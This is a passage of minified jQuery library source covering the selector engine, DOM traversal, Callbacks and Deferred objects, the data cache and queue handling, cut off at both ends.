t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0<se(t,C,null,[e]).length},se.contains=function(e,t){return(e.ownerDocument||e)!=C&&T(e),y(e,t)},se.attr=function(e,t){(e.ownerDocument||e)!=C&&T(e);var n=b.attrHandle[t.toLowerCase()],r=n&&j.call(b.attrHandle,t.toLowerCase())?n(e,t,!E):void 0;return void 0!==r?r:d.attributes||!E?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},se.escape=function(e){return(e+"").replace(re,ie)},se.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},se.uniqueSort=function(e){var t,n=[],r=0,i=0;if(l=!d.detectDuplicates,u=!d.sortStable&&e.slice(0),e.sort(D),l){while(t=e[i++])t===e[i]&&(r=n.push(i));while(r--)e.splice(n[r],1)}return u=null,e},o=se.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else while(t=e[r++])n+=o(t);return n},(b=se.selectors={cacheLength:50,createPseudo:le,match:G,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1<t.indexOf(i):"$="===r?i&&t.slice(-i.length)===i:"~="===r?-1<(" "+t.replace(B," ")+" ").indexOf(i):"|="===r&&(t===i||t.slice(0,i.length+1)===i+"-"))}},CHILD:function(h,e,t,g,v){var y="nth"!==h.slice(0,3),m="last"!==h.slice(-4),x="of-type"===e;return 1===g&&0===v?function(e){return!!e.parentNode}:function(e,t,n){var r,i,o,a,s,u,l=y!==m?"nextSibling":"previousSibling",c=e.parentNode,f=x&&e.nodeName.toLowerCase(),p=!n&&!x,d=!1;if(c){if(y){while(l){a=e;while(a=a[l])if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if(1===a.nodeType&&++d&&a===e){i[h]=[k,s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]=[k,d]),a===e))break;return(d-=v)===g||d%g==0&&0<=d/g}}},PSEUDO:function(e,o){var t,a=b.pseudos[e]||b.setFilters[e.toLowerCase()]||se.error("unsupported pseudo: "+e);return a[S]?a(o):1<a.length?(t=[e,e,"",o],b.setFilters.hasOwnProperty(e.toLowerCase())?le(function(e,t){var n,r=a(e,o),i=r.length;while(i--)e[n=P(e,r[i])]=!(t[n]=r[i])}):function(e){return a(e,0,t)}):a}},pseudos:{not:le(function(e){var r=[],i=[],s=f(e.replace($,"$1"));return s[S]?le(function(e,t,n,r){var i,o=s(e,null,r,[]),a=e.length;while(a--)(i=o[a])&&(e[a]=!(t[a]=i))}):function(e,t,n){return r[0]=e,s(r,null,n,i),r[0]=null,!i.pop()}}),has:le(function(t){return function(e){return 0<se(t,e).length}}),contains:le(function(t){return t=t.replace(te,ne),function(e){return-1<(e.textContent||o(e)).indexOf(t)}}),lang:le(function(n){return V.test(n||"")||se.error("unsupported lang: "+n),n=n.replace(te,ne).toLowerCase(),function(e){var t;do{if(t=E?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return(t=t.toLowerCase())===n||0===t.indexOf(n+"-")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=n.location&&n.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===a},focus:function(e){return e===C.activeElement&&(!C.hasFocus||C.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:ge(!1),disabled:ge(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return J.test(e.nodeName)},input:function(e){return Q.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:ve(function(){return[0]}),last:ve(function(e,t){return[t-1]}),eq:ve(function(e,t,n){return[n<0?n+t:n]}),even:ve(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:ve(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:ve(function(e,t,n){for(var r=n<0?n+t:t<n?t:n;0<=--r;)e.push(r);return e}),gt:ve(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=b.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})b.pseudos[e]=de(e);for(e in{submit:!0,reset:!0})b.pseudos[e]=he(e);function me(){}function xe(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function be(s,e,t){var u=e.dir,l=e.next,c=l||u,f=t&&"parentNode"===c,p=r++;return e.first?function(e,t,n){while(e=e[u])if(1===e.nodeType||f)return s(e,t,n);return!1}:function(e,t,n){var r,i,o,a=[k,p];if(n){while(e=e[u])if((1===e.nodeType||f)&&s(e,t,n))return!0}else while(e=e[u])if(1===e.nodeType||f)if(i=(o=e[S]||(e[S]={}))[e.uniqueID]||(o[e.uniqueID]={}),l&&l===e.nodeName.toLowerCase())e=e[u]||e;else{if((r=i[c])&&r[0]===k&&r[1]===p)return a[2]=r[2];if((i[c]=a)[2]=s(e,t,n))return!0}return!1}}function we(i){return 1<i.length?function(e,t,n){var r=i.length;while(r--)if(!i[r](e,t,n))return!1;return!0}:i[0]}function Te(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Ce(d,h,g,v,y,e){return v&&!v[S]&&(v=Ce(v)),y&&!y[S]&&(y=Ce(y,e)),le(function(e,t,n,r){var i,o,a,s=[],u=[],l=t.length,c=e||function(e,t,n){for(var r=0,i=t.length;r<i;r++)se(e,t[r],n);return n}(h||"*",n.nodeType?[n]:n,[]),f=!d||!e&&h?c:Te(c,s,d,n,r),p=g?y||(e?d:l||v)?[]:t:f;if(g&&g(f,p,n,r),v){i=Te(p,u),v(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(p[u[o]]=!(f[u[o]]=a))}if(e){if(y||d){if(y){i=[],o=p.length;while(o--)(a=p[o])&&i.push(f[o]=a);y(null,p=[],i,r)}o=p.length;while(o--)(a=p[o])&&-1<(i=y?P(e,a):s[o])&&(e[i]=!(t[i]=a))}}else p=Te(p===t?p.splice(l,p.length):p),y?y(null,t,p,r):H.apply(t,p)})}function Ee(e){for(var i,t,n,r=e.length,o=b.relative[e[0].type],a=o||b.relative[" "],s=o?1:0,u=be(function(e){return e===i},a,!0),l=be(function(e){return-1<P(i,e)},a,!0),c=[function(e,t,n){var r=!o&&(n||t!==w)||((i=t).nodeType?u(e,t,n):l(e,t,n));return i=null,r}];s<r;s++)if(t=b.relative[e[s].type])c=[be(we(c),t)];else{if((t=b.filter[e[s].type].apply(null,e[s].matches))[S]){for(n=++s;n<r;n++)if(b.relative[e[n].type])break;return Ce(1<s&&we(c),1<s&&xe(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace($,"$1"),t,s<n&&Ee(e.slice(s,n)),n<r&&Ee(e=e.slice(n)),n<r&&xe(e))}c.push(t)}return we(c)}return me.prototype=b.filters=b.pseudos,b.setFilters=new me,h=se.tokenize=function(e,t){var n,r,i,o,a,s,u,l=x[e+" "];if(l)return t?0:l.slice(0);a=e,s=[],u=b.preFilter;while(a){for(o in n&&!(r=_.exec(a))||(r&&(a=a.slice(r[0].length)||a),s.push(i=[])),n=!1,(r=z.exec(a))&&(n=r.shift(),i.push({value:n,type:r[0].replace($," ")}),a=a.slice(n.length)),b.filter)!(r=G[o].exec(a))||u[o]&&!(r=u[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?se.error(e):x(e,s).slice(0)},f=se.compile=function(e,t){var n,v,y,m,x,r,i=[],o=[],a=A[e+" "];if(!a){t||(t=h(e)),n=t.length;while(n--)(a=Ee(t[n]))[S]?i.push(a):o.push(a);(a=A(e,(v=o,m=0<(y=i).length,x=0<v.length,r=function(e,t,n,r,i){var o,a,s,u=0,l="0",c=e&&[],f=[],p=w,d=e||x&&b.find.TAG("*",i),h=k+=null==p?1:Math.random()||.1,g=d.length;for(i&&(w=t==C||t||i);l!==g&&null!=(o=d[l]);l++){if(x&&o){a=0,t||o.ownerDocument==C||(T(o),n=!E);while(s=v[a++])if(s(o,t||C,n)){r.push(o);break}i&&(k=h)}m&&((o=!s&&o)&&u--,e&&c.push(o))}if(u+=l,m&&l!==u){a=0;while(s=y[a++])s(c,f,t,n);if(e){if(0<u)while(l--)c[l]||f[l]||(f[l]=q.call(r));f=Te(f)}H.apply(r,f),i&&!e&&0<f.length&&1<u+y.length&&se.uniqueSort(r)}return i&&(k=h,w=p),c},m?le(r):r))).selector=e}return a},g=se.select=function(e,t,n,r){var i,o,a,s,u,l="function"==typeof e&&e,c=!r&&h(e=l.selector||e);if(n=n||[],1===c.length){if(2<(o=c[0]=c[0].slice(0)).length&&"ID"===(a=o[0]).type&&9===t.nodeType&&E&&b.relative[o[1].type]){if(!(t=(b.find.ID(a.matches[0].replace(te,ne),t)||[])[0]))return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}i=G.needsContext.test(e)?0:o.length;while(i--){if(a=o[i],b.relative[s=a.type])break;if((u=b.find[s])&&(r=u(a.matches[0].replace(te,ne),ee.test(o[0].type)&&ye(t.parentNode)||t))){if(o.splice(i,1),!(e=r.length&&xe(o)))return H.apply(n,r),n;break}}}return(l||f(e,c))(r,t,!E,n,!t||ee.test(e)&&ye(t.parentNode)||t),n},d.sortStable=S.split("").sort(D).join("")===S,d.detectDuplicates=!!l,T(),d.sortDetached=ce(function(e){return 1&e.compareDocumentPosition(C.createElement("fieldset"))}),ce(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||fe("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),d.attributes&&ce(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||fe("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ce(function(e){return null==e.getAttribute("disabled")})||fe(R,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),se}(C);S.find=d,S.expr=d.selectors,S.expr[":"]=S.expr.pseudos,S.uniqueSort=S.unique=d.uniqueSort,S.text=d.getText,S.isXMLDoc=d.isXML,S.contains=d.contains,S.escapeSelector=d.escape;var h=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&S(e).is(n))break;r.push(e)}return r},T=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},k=S.expr.match.needsContext;function A(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var N=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function D(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1<i.call(n,e)!==r}):S.filter(n,e,r)}S.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?S.find.matchesSelector(r,e)?[r]:[]:S.find.matches(e,S.grep(t,function(e){return 1===e.nodeType}))},S.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(S(e).filter(function(){for(t=0;t<r;t++)if(S.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)S.find(e,i[t],n);return 1<r?S.uniqueSort(n):n},filter:function(e){return this.pushStack(D(this,e||[],!1))},not:function(e){return this.pushStack(D(this,e||[],!0))},is:function(e){return!!D(this,"string"==typeof e&&k.test(e)?S(e):e||[],!1).length}});var j,q=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||j,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,j=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(S.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&S(e);if(!k.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?-1<a.index(n):1===n.nodeType&&S.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(1<o.length?S.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?i.call(S(e),this[0]):i.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(S.uniqueSort(S.merge(this.get(),S(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),S.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return h(e,"parentNode")},parentsUntil:function(e,t,n){return h(e,"parentNode",n)},next:function(e){return O(e,"nextSibling")},prev:function(e){return O(e,"previousSibling")},nextAll:function(e){return h(e,"nextSibling")},prevAll:function(e){return h(e,"previousSibling")},nextUntil:function(e,t,n){return h(e,"nextSibling",n)},prevUntil:function(e,t,n){return h(e,"previousSibling",n)},siblings:function(e){return T((e.parentNode||{}).firstChild,e)},children:function(e){return T(e.firstChild)},contents:function(e){return null!=e.contentDocument&&r(e.contentDocument)?e.contentDocument:(A(e,"template")&&(e=e.content||e),S.merge([],e.childNodes))}},function(r,i){S.fn[r]=function(e,t){var n=S.map(this,i,e);return"Until"!==r.slice(-5)&&(t=e),t&&"string"==typeof t&&(n=S.filter(t,n)),1<this.length&&(H[r]||S.uniqueSort(n),L.test(r)&&n.reverse()),this.pushStack(n)}});var P=/[^\x20\t\r\n\f]+/g;function R(e){return e}function M(e){throw e}function I(e,t,n,r){var i;try{e&&m(i=e.promise)?i.call(e).done(t).fail(n):e&&m(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}S.Callbacks=function(r){var e,n;r="string"==typeof r?(e=r,n={},S.each(e.match(P)||[],function(e,t){n[t]=!0}),n):S.extend({},r);var i,t,o,a,s=[],u=[],l=-1,c=function(){for(a=a||r.once,o=i=!0;u.length;l=-1){t=u.shift();while(++l<s.length)!1===s[l].apply(t[0],t[1])&&r.stopOnFalse&&(l=s.length,t=!1)}r.memory||(t=!1),i=!1,a&&(s=t?[]:"")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){S.each(e,function(e,t){m(t)?r.unique&&f.has(t)||s.push(t):t&&t.length&&"string"!==w(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return S.each(arguments,function(e,t){var n;while(-1<(n=S.inArray(t,s,n)))s.splice(n,1),n<=l&&l--}),this},has:function(e){return e?-1<S.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return a=u=[],s=t="",this},disabled:function(){return!s},lock:function(){return a=u=[],t||i||(s=t=""),this},locked:function(){return!!a},fireWith:function(e,t){return a||(t=[e,(t=t||[]).slice?t.slice():t],u.push(t),i||c()),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!o}};return f},S.extend({Deferred:function(e){var o=[["notify","progress",S.Callbacks("memory"),S.Callbacks("memory"),2],["resolve","done",S.Callbacks("once memory"),S.Callbacks("once memory"),0,"resolved"],["reject","fail",S.Callbacks("once memory"),S.Callbacks("once memory"),1,"rejected"]],i="pending",a={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},"catch":function(e){return a.then(null,e)},pipe:function(){var i=arguments;return S.Deferred(function(r){S.each(o,function(e,t){var n=m(i[t[4]])&&i[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&m(e.promise)?e.promise().progress(r.notify).done(r.resolve).fail(r.reject):r[t[0]+"With"](this,n?[e]:arguments)})}),i=null}).promise()},then:function(t,n,r){var u=0;function l(i,o,a,s){return function(){var n=this,r=arguments,e=function(){var e,t;if(!(i<u)){if((e=a.apply(n,r))===o.promise())throw new TypeError("Thenable self-resolution");t=e&&("object"==typeof e||"function"==typeof e)&&e.then,m(t)?s?t.call(e,l(u,o,R,s),l(u,o,M,s)):(u++,t.call(e,l(u,o,R,s),l(u,o,M,s),l(u,o,R,o.notifyWith))):(a!==R&&(n=void 0,r=[e]),(s||o.resolveWith)(n,r))}},t=s?e:function(){try{e()}catch(e){S.Deferred.exceptionHook&&S.Deferred.exceptionHook(e,t.stackTrace),u<=i+1&&(a!==M&&(n=void 0,r=[e]),o.rejectWith(n,r))}};i?t():(S.Deferred.getStackHook&&(t.stackTrace=S.Deferred.getStackHook()),C.setTimeout(t))}}return S.Deferred(function(e){o[0][3].add(l(0,e,m(r)?r:R,e.notifyWith)),o[1][3].add(l(0,e,m(t)?t:R)),o[2][3].add(l(0,e,m(n)?n:M))}).promise()},promise:function(e){return null!=e?S.extend(e,a):a}},s={};return S.each(o,function(e,t){var n=t[2],r=t[5];a[t[1]]=n.add,r&&n.add(function(){i=r},o[3-e][2].disable,o[3-e][3].disable,o[0][2].lock,o[0][3].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+"With"](this===s?void 0:this,arguments),this},s[t[0]+"With"]=n.fireWith}),a.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,r=Array(t),i=s.call(arguments),o=S.Deferred(),a=function(t){return function(e){r[t]=this,i[t]=1<arguments.length?s.call(arguments):e,--n||o.resolveWith(r,i)}};if(n<=1&&(I(e,o.done(a(t)).resolve,o.reject,!n),"pending"===o.state()||m(i[t]&&i[t].then)))return o.then();while(t--)I(i[t],a(t),o.reject);return o.promise()}});var W=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;S.Deferred.exceptionHook=function(e,t){C.console&&C.console.warn&&e&&W.test(e.name)&&C.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},S.readyException=function(e){C.setTimeout(function(){throw e})};var F=S.Deferred();function B(){E.removeEventListener("DOMContentLoaded",B),C.removeEventListener("load",B),S.ready()}S.fn.ready=function(e){return F.then(e)["catch"](function(e){S.readyException(e)}),this},S.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--S.readyWait:S.isReady)||(S.isReady=!0)!==e&&0<--S.readyWait||F.resolveWith(E,[S])}}),S.ready.then=F.then,"complete"===E.readyState||"loading"!==E.readyState&&!E.documentElement.doScroll?C.setTimeout(S.ready):(E.addEventListener("DOMContentLoaded",B),C.addEventListener("load",B));var $=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===w(n))for(s in i=!0,n)$(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,m(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(S(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(e){return e.replace(_,"ms-").replace(z,U)}var V=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t||(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[X(t)]=n;else for(r in t)i[X(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][X(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(X):(t=X(t))in r?[t]:t.match(P)||[]).length;while(n--)delete r[t[n]]}(void 0===t||S.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!S.isEmptyObject(t)}};var Y=new G,Q=new G,J=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,K=/[A-Z]/g;function Z(e,t,n){var r,i;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(K,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n="true"===(i=n)||"false"!==i&&("null"===i?null:i===+i+""?+i:J.test(i)?JSON.parse(i):i)}catch(e){}Q.set(e,t,n)}else n=void 0;return n}S.extend({hasData:function(e){return Q.hasData(e)||Y.hasData(e)},data:function(e,t,n){return Q.access(e,t,n)},removeData:function(e,t){Q.remove(e,t)},_data:function(e,t,n){return Y.access(e,t,n)},_removeData:function(e,t){Y.remove(e,t)}}),S.fn.extend({data:function(n,e){var t,r,i,o=this[0],a=o&&o.attributes;if(void 0===n){if(this.length&&(i=Q.get(o),1===o.nodeType&&!Y.get(o,"hasDataAttrs"))){t=a.length;while(t--)a[t]&&0===(r=a[t].name).indexOf("data-")&&(r=X(r.slice(5)),Z(o,r,i[r]));Y.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof n?this.each(function(){Q.set(this,n)}):$(this,function(e){var t;if(o&&void 0===e)return void 0!==(t=Q.get(o,n))?t:void 0!==(t=Z(o,n))?t:void 0;this.each(function(){Q.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){Q.remove(this,e)})}}),S.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=Y.get(e,t),n&&(!r||Array.isArray(n)?r=Y.access(e,t,S.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=S.queue(e,t),r=n.length,i=n.shift(),o=S._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,function(){S.dequeue(e,t)},o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return Y.get(e,n)||Y.access(e,n,{empty:S.Callbacks("once memory").add(function(){Y.remove(e,[t+"queue",n])})})}}),S.fn.extend({queue:function(t,n){var e=2;return"string"!=typeof t&&(n=t,t="fx",e--),arguments.length<e?S.queue(this[0],t):void 0===n?this:this.each(function(){var e=S.queue(this,t,n);S._queueHooks(this,t),"fx"===t&&"inprogress"!==e[0]&&S.dequeue(this,t)})},dequeue:function(e){return this.each(function(){S.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=S.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=Y.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var ee=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,te=new RegExp("^(?:([+-])=|)("+ee+")([a-z%]*)$","i"),ne=["Top","Right","Bottom","Left"],re=E.documentElement,ie=function(e){return S.contains(e.ownerDocument,e)},oe={composed:!0};re.getRootNode&&(ie=function(e){return S.contains(e.ownerDocument,e)||e.getRootNode(oe)===e.ownerDocument});var ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&ie(e)&&"none"===S.css(e,"display")};function se(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return S.css(e,t,"")},u=s(),l=n&&n[3]||(S.cssNumber[t]?"":"px"),c=e.nodeType&&(S.cssNumber[t]||"px"!==l&&+u)&&te.exec(S.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)S.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,S.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ue={};function le(e,t){for(var 